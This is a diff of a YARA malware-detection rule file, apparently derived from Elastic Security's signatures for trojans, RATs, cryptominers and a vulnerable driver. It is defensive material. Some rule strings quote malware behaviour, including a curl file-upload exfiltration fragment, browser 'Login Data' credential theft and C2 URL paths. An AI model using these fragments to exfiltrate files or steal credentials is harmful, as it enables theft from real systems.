-		$s1 = "int MyShell::createsh()"
-		$s2 = "/src/myshell.cpp"
-		$s3 = "/src/inifile.cpp"
-		$s4 = "Linux_%s_%s_%u_V"
-		$s5 = "/home/soft/mm/rootkit/"
-		$s6 = "IniFile::load_ini_file"
+		$a = { AF F0 4C 01 F1 4C 8B B4 24 A8 00 00 00 4D 0F AF F4 4C 01 F1 4C 8B B4 24 B0 00 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Skidmap_Aa7B661D : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Pgminer_Ccf88A37 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Skidmap (Linux.Trojan.Skidmap)"
+		description = "Detects Linux Cryptominer Pgminer (Linux.Cryptominer.Pgminer)"
 		author = "Elastic Security"
-		id = "aa7b661d-0ecc-4171-a0c2-a6c0c91b6d27"
+		id = "ccf88a37-2a58-40f9-8c13-f1ce218a2ec4"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Skidmap.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4282ba9b7bee69d42bfff129fff45494fb8f7db0e1897fc5aa1e4265cb6831d9"
-		logic_hash = "aa976158d004d582234a92ff648d4581440f9c933a0abef212d9d837d9607ba4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Pgminer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3afc8d2d85aca61108d21f82355ad813eba7a189e81dde263d318988c5ea50bd"
+		logic_hash = "77833cdb319bc8e22db2503478677d5992774105f659fe7520177a691c83aa91"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bd6bec14d4b0205b04c6b4f34988ad95161f954a1f0319dd33513cb2c7e5f59"
+		fingerprint = "dc82b841a7e72687921c9b14bc86218c3377f939166d11a7cccd885dad4a06e7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56516,361 +60767,363 @@ rule ELASTIC_Linux_Trojan_Skidmap_Aa7B661D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 41 41 80 F8 1A 41 0F 43 C1 88 04 0E 48 83 C1 01 0F B6 04 0F }
+		$a = { F6 41 83 C5 02 48 8B 5D 00 8A 0B 80 F9 2F 76 7E 41 83 FF 0A B8 0A 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_M0Yv_92F66467 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Pgminer_5Fb2Efd5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan M0Yv (Windows.Trojan.M0yv)"
+		description = "Detects Linux Cryptominer Pgminer (Linux.Cryptominer.Pgminer)"
 		author = "Elastic Security"
-		id = "92f66467-89fd-4501-b045-3c6aed6c82f9"
-		date = "2023-05-03"
-		modified = "2023-06-13"
+		id = "5fb2efd5-4adc-4285-bef1-6e4987066944"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_M0yv.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0004d22dd18c0239b722c085101c0a32b967159e2066a0b7b9104bb43f5cdea0"
-		logic_hash = "a47b20679aee9559213de22783cfbc55c6091785e4dc288349963e863b78cf41"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Pgminer.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6d296648fdbc693e604f6375eaf7e28b87a73b8405dc8cd3147663b5e8b96ff0"
+		logic_hash = "4c247f40c9781332f04f82a244f6e8e22c9c744963f736937eddecf769b40a54"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2afebc9478fbad18b74748794773cae9be3a4eac599d657bab5a7f8de331ba41"
+		fingerprint = "8ac56b60418e3f3f4d1f52c7a58d0b7c1f374611d45e560452c75a01c092a59b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 54 65 7D 41 69 6E 63 5D 6A 68 6D }
-		$a2 = { 4E 73 4D 62 62 77 61 6E 66 77 58 72 61 72 64 6C 7D }
-		$a3 = { 40 65 7D 41 69 6E 63 48 77 71 7A 69 66 74 75 67 7A 55 }
+		$a = { 00 16 00 00 00 0E 00 00 00 18 03 00 7F EB 28 33 C5 56 5D F2 50 67 C5 6F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Ghostengine_8Ea2Aa65 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Segwin_04A3962E : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Ghostengine (Windows.Trojan.GhostEngine)"
+		description = "Name: segwindrvx64.sys, Version: 100.0.7.2"
 		author = "Elastic Security"
-		id = "8ea2aa65-d7e2-4c58-9f95-3194cd8b6990"
-		date = "2024-05-07"
-		modified = "2024-05-13"
+		id = "04a3962e-4622-4d83-b0e7-4d77c8a81ab6"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostEngine.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753"
-		logic_hash = "3bddd2ac79d92d34df5d2df4a11cf96cc44ca39c3baece1b5c67b75a682778ff"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Segwin.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
+		logic_hash = "1e9ba5fc78f2b4eeee56314c9e8cf3071817d726b44cb8510f8d7069e85ab7bf"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "17c4c2fa2d412b79ee197de1e6bd6a4c882ad894be54a780e540627a570756e5"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "e3c5441e4c26f7c5ba5db8a4b7618d870a5dd7b70d9373d80d81497bc0f73739"
+		threat_name = "Windows.VulnDriver.Segwin"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str0 = "\\\\.\\IOBitUnlockerDevice"
-		$str1 = "C:\\Windows\\Fonts\\taskhostw.exe"
-		$str2 = "C:\\Windows\\Fonts\\config.json"
-		$str3 = "/drives/kill.png"
-		$str4 = "C:\\Windows\\Fonts\\WinRing0x64.sys"
-		$str5 = "C:\\Windows\\Fonts\\smartsscreen.exe"
-		$binary0 = { 89 C2 C1 E8 1F C1 E0 1F 85 C0 0F 84 74 01 00 00 D1 E2 89 CB C1 E9 1F 09 D1 D1 E3 C1 EB 1F 89 CA D1 E1 09 D9 89 CB 81 C1 80 7F B1 D7 C1 EA 1F 81 C3 80 7F B1 D7 83 D2 0D 81 C1 00 09 6E 88 89 4C 24 20 83 D2 F1 89 54 24 24 }
-		$binary1 = { 83 F9 06 0F ?? ?? ?? ?? ?? 8B 10 81 FA 78 38 36 5F 0F 85 ?? ?? ?? ?? 0F B7 50 04 66 81 FA 36 34 74 ?? E9 ?? ?? 00 00 C7 04 24 00 E4 0B 54 C7 44 24 04 02 00 00 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 73 00 65 00 67 00 77 00 69 00 6E 00 64 00 72 00 76 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x64][\x00-\x00])([\x00-\x02][\x00-\x00])([\x00-\x07][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x63][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x64][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x06][\x00-\x00]))/
 
 	condition:
-		3 of ($str*) or 1 of ($binary*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Pizzapotion_D334C613 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sysrv_85097F24 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pizzapotion (Windows.Trojan.PizzaPotion)"
+		description = "Detects Linux Trojan Sysrv (Linux.Trojan.Sysrv)"
 		author = "Elastic Security"
-		id = "d334c613-2ef2-4627-b482-cc87589d253a"
-		date = "2023-09-13"
-		modified = "2023-09-20"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PizzaPotion.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "37bee101cf34a84cba49adb67a555c6ebd3b8ac7c25d50247b0a014c82630003"
-		logic_hash = "de7d395c8a993abf9858858e56ba0ec4acbf0fa1c8bfe4a34ae95be2205967fc"
+		id = "85097f24-2e2e-41e4-8769-dca7451649cc"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "17fbc8e10dea69b29093fcf2aa018be4d58fe5462c5a0363a0adde60f448fb26"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sysrv.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "96bee8b9b0e9c2afd684582301f9e110fd08fcabaea798bfb6259a4216f69be1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4c1ed20b669750f2bc837b184226608e2e8473ac60881fbdd47709e147616889"
-		severity = 100
+		fingerprint = "1cad651c92a163238f8d60d2e3670f229b4aafd6509892b9dcefe014b39c6f7d"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%s%sd.sys" ascii fullword
-		$a2 = "curl -v -k -F \"file=@" ascii fullword
-		$a3 = "; type=image/jpeg\" --referer drive.google.com --cookie"
-		$a4 = "%sd.sys -r -inul"
-		$a5 = ".xls d:\\*.xlsx d:\\*.ppt d:\\*.pptx d:\\*.pfx" ascii fullword
-		$a6 = "-x\"*.exe\" -x\"*.dll\" -x\"*.jpg\" -x\"*.jpeg\""
+		$a = { 32 26 02 0F 80 0C 0A FF 0B 02 02 22 04 2B 02 16 02 1C 01 0C 09 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Iroffer_53692410 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Netwire_6A7Df287 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
+		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
 		author = "Elastic Security"
-		id = "53692410-4213-4550-890e-4c62867937bc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Iroffer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
-		logic_hash = "b8aa25fbde4d9ca36656f583e7601118a06e57703862c8b28b273881eef504fe"
-		score = 60
-		quality = 23
+		id = "6a7df287-1656-4779-9a96-c0ab536ae86a"
+		date = "2021-06-28"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Netwire.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
+		logic_hash = "d5f36e2a81cf0a9037267d39266b4c31ca9c07b05fb9772e296aeac2da6051a5"
+		score = 75
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f070ee35ad42d9d30021cc2796cfd2859007201c638f98f42fdbec25c53194fb"
+		fingerprint = "85051a0b94da4388eaead4c4f4b2d16d4a5eb50c3c938b3daf5c299c9c12f1e6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 69 6E 67 20 55 6E 6B 6E 6F 77 6E 20 4D 73 67 6C 6F 67 20 54 61 67 }
+		$a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Iroffer_013E07De : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Netwire_1B43Df38 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
+		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
 		author = "Elastic Security"
-		id = "013e07de-95bd-4774-a14f-0a10f911a2dd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Iroffer.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
-		logic_hash = "ce21de61f94d41aa3abb73b9391a4d9c8ddeea75f1a2b36be58111b70a9590fe"
-		score = 60
-		quality = 25
+		id = "1b43df38-886e-4f58-954a-a09f30f19907"
+		date = "2021-06-28"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Netwire.yar#L22-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
+		logic_hash = "bb0eb1c1969bc1416e933822843293c5d41bf9bc3d402fa5dbdc3cdf2f4b394a"
+		score = 75
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "92dde62076acec29a637b63a35f00c35f706df84d6ee9cabda0c6f63d01a13c4"
+		fingerprint = "4142ea14157939dc23b8d1f5d83182aef3a5877d2506722f7a2706b7cb475b76"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 49 67 6E 6F 72 69 6E 67 20 42 61 64 20 58 44 43 43 20 4E 6F }
+		$a1 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
+		$a2 = "\\Login Data"
+		$a3 = "SOFTWARE\\NetWire" fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Iroffer_0De95Cab : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Netwire_F85E4Abc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
+		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
 		author = "Elastic Security"
-		id = "0de95cab-c671-44f0-a85e-5a5634e906f7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Iroffer.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "717bea3902109d1b1d57e57c26b81442c0705af774139cd73105b2994ab89514"
-		logic_hash = "adec3e1d3110bcc22262d5f1f2ad14a347616f4a809f29170a9fbb5d1669a4c3"
+		id = "f85e4abc-f2d7-491b-a1ad-a59f287e5929"
+		date = "2022-08-14"
+		modified = "2022-09-29"
+		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Netwire.yar#L45-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ab037c87d8072c63dc22b22ff9cfcd9b4837c1fee2f7391d594776a6ac8f6776"
+		logic_hash = "af8fc8fff2e1a0b6c87ac6d24fecf2e1cefe6313ec66da13fddd1be25c1c3d92"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "42c1ab8af313ec3c475535151ee67cac93ab6a25252b52b1e09c166065fb2760"
+		fingerprint = "66cae88c9f8b975133d2b3af94a869244d273021261815b15085c638352bf2ca"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 41 52 52 45 43 4F 52 44 53 00 53 68 6F 77 20 49 6E 66 6F }
+		$a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Iroffer_711259E4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Netwire_F42Cb379 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
+		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
 		author = "Elastic Security"
-		id = "711259e4-f081-4d81-8257-60ba733354c5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Iroffer.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
-		logic_hash = "a71dbb979bc1f7671ab9958b6aa502e6ded4ee1c1b026080fd377eb772ebb1d5"
+		id = "f42cb379-ac8c-4790-a6d3-aad6dc4acef6"
+		date = "2022-08-14"
+		modified = "2022-09-29"
+		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Netwire.yar#L66-L90"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ab037c87d8072c63dc22b22ff9cfcd9b4837c1fee2f7391d594776a6ac8f6776"
+		logic_hash = "fc1436596987d3971a464e707ee6fd5689e7d2800df471c125c1e3f748537f5d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aca63ef57ab6cb5579a2a5fea6095d88a3a4fb8347353febb3d02cc88a241b78"
+		fingerprint = "a52d2be082d57d07ab9bb9087dd258c29ef0528c4207ac6b31832f975a1395b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 03 7E 2B 8B 45 C8 3D FF 00 00 00 77 21 8B 55 CC 81 FA FF 00 }
+		$a1 = "http://%s%ComSpec" ascii fullword
+		$a2 = "%c%.8x%s" ascii fullword
+		$a3 = "%6\\6Z65dlNh\\YlS.dfd" ascii fullword
+		$a4 = "GET %s HTTP/1.1" ascii fullword
+		$a5 = "R-W65: %6:%S" ascii fullword
+		$a6 = "PTLLjPq %6:%S -qq9/G.y" ascii fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Iroffer_7478Ddd9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Revengerat_Db91Bcc6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
+		description = "Detects Windows Trojan Revengerat (Windows.Trojan.Revengerat)"
 		author = "Elastic Security"
-		id = "7478ddd9-ebb6-4bd4-a1ad-d0bf8f99ab1d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "db91bcc6-024d-42da-8d0a-bd69374bf622"
+		date = "2021-09-02"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Iroffer.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "20e1509c23d7ef14b15823e4c56b9a590e70c5b7960a04e94b662fc34152266c"
-		logic_hash = "e650ee830b735a11088b628e865cd40a15054437ca05849f2eaa7838eac152e3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Revengerat.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd"
+		logic_hash = "1e33cb1d614aae0b2181ebaca694c69e7fc849b3a3b7ffff7059e8c43553f8cc"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "b497ee116b77e2ba1fedfad90894d956806a2ffa19cadc33a916513199b0a381"
+		fingerprint = "9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 80 FA 0F 74 10 80 FA 16 74 0B 80 FA 1F 74 06 C6 04 1E 2E 89 }
+		$a1 = "Revenge-RAT" wide fullword
+		$a2 = "SELECT * FROM FirewallProduct" wide fullword
+		$a3 = "HKEY_CURRENT_USER\\SOFTWARE\\" wide fullword
+		$a4 = "get_MachineName" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Backconnect_C6803B39 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Lumma_693A5234 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Backconnect (Linux.Trojan.Backconnect)"
+		description = "Detects Windows Trojan Lumma (Windows.Trojan.Lumma)"
 		author = "Elastic Security"
-		id = "c6803b39-e2e0-4ab8-9ead-e53eab26bb53"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "693a5234-de8c-4801-8146-bb4d5378abc5"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Backconnect.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a5e6b084cdabe9a4557b5ff8b2313db6c3bb4ba424d107474024030115eeaa0f"
-		logic_hash = "02750b2788c2912bba0fc8594f6a12c75ce1f41d1075acf7c920f6e616ab65c7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Lumma.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88340abcdc3cfe7574ee044aea44808446daf3bb7bf9fc60b16a2b1360c5d9c0"
+		logic_hash = "2b29ac9bc73f191bdbfc92601cab923aa9f2f3380c8123ee469ced3754625dd0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1dfb097c90b0cf008dc9d3ae624e08504755222f68ee23ed98d0fa8803cff91a"
-		severity = 100
+		fingerprint = "9e51b8833b6fffe740f3c9f87a874dbf4d668d68307393b20cf9e4e69e899d3f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 78 3A 48 98 48 01 C3 49 01 C5 48 83 FB 33 76 DC 31 C9 BA 10 00 }
+		$a1 = { 02 0F B7 16 83 C6 02 66 85 D2 75 EF 66 C7 00 00 00 0F B7 11 }
+		$a2 = { 0C 0F B7 4C 24 04 66 89 0F 83 C7 02 39 F7 73 0C 01 C3 39 EB }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_52A15A93 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_STRRAT_A3E48Cd2 : MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Windows Trojan Strrat (Windows.Trojan.STRRAT)"
 		author = "Elastic Security"
-		id = "52a15a93-0574-44bb-83c9-793558432553"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a3e48cd2-e65f-40db-ab55-8015ad871dd6"
+		date = "2024-03-13"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "ceaf5b06108baa6043e31010d777099ed6ac9b4054e86d41309bd7c2b0ffda11"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_STRRAT.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "97e67ac77d80d26af4897acff2a3f6075e0efe7997a67d8194e799006ed5efc9"
+		logic_hash = "32f79695829f703bf9996d212aeb563791aed28e1bbb9f700cb45325fd02db77"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a7ceff3bbd61929ab000d18ffdf2e8d1753ecea123e26cd626e3af64341effe6"
+		tags = "MEMORY"
+		fingerprint = "efda9a8bd5f9e227a6696de1b4ea7eb7343b08563cfcbe73fdd75164593bd111"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 41 89 CE 41 55 41 54 49 89 F4 55 48 89 D5 53 48 89 FB 48 8B 07 FF 90 F8 00 }
+		$str1 = "strigoi/server/ping.php?lid="
+		$str2 = "/strigoi/server/?hwid="
 
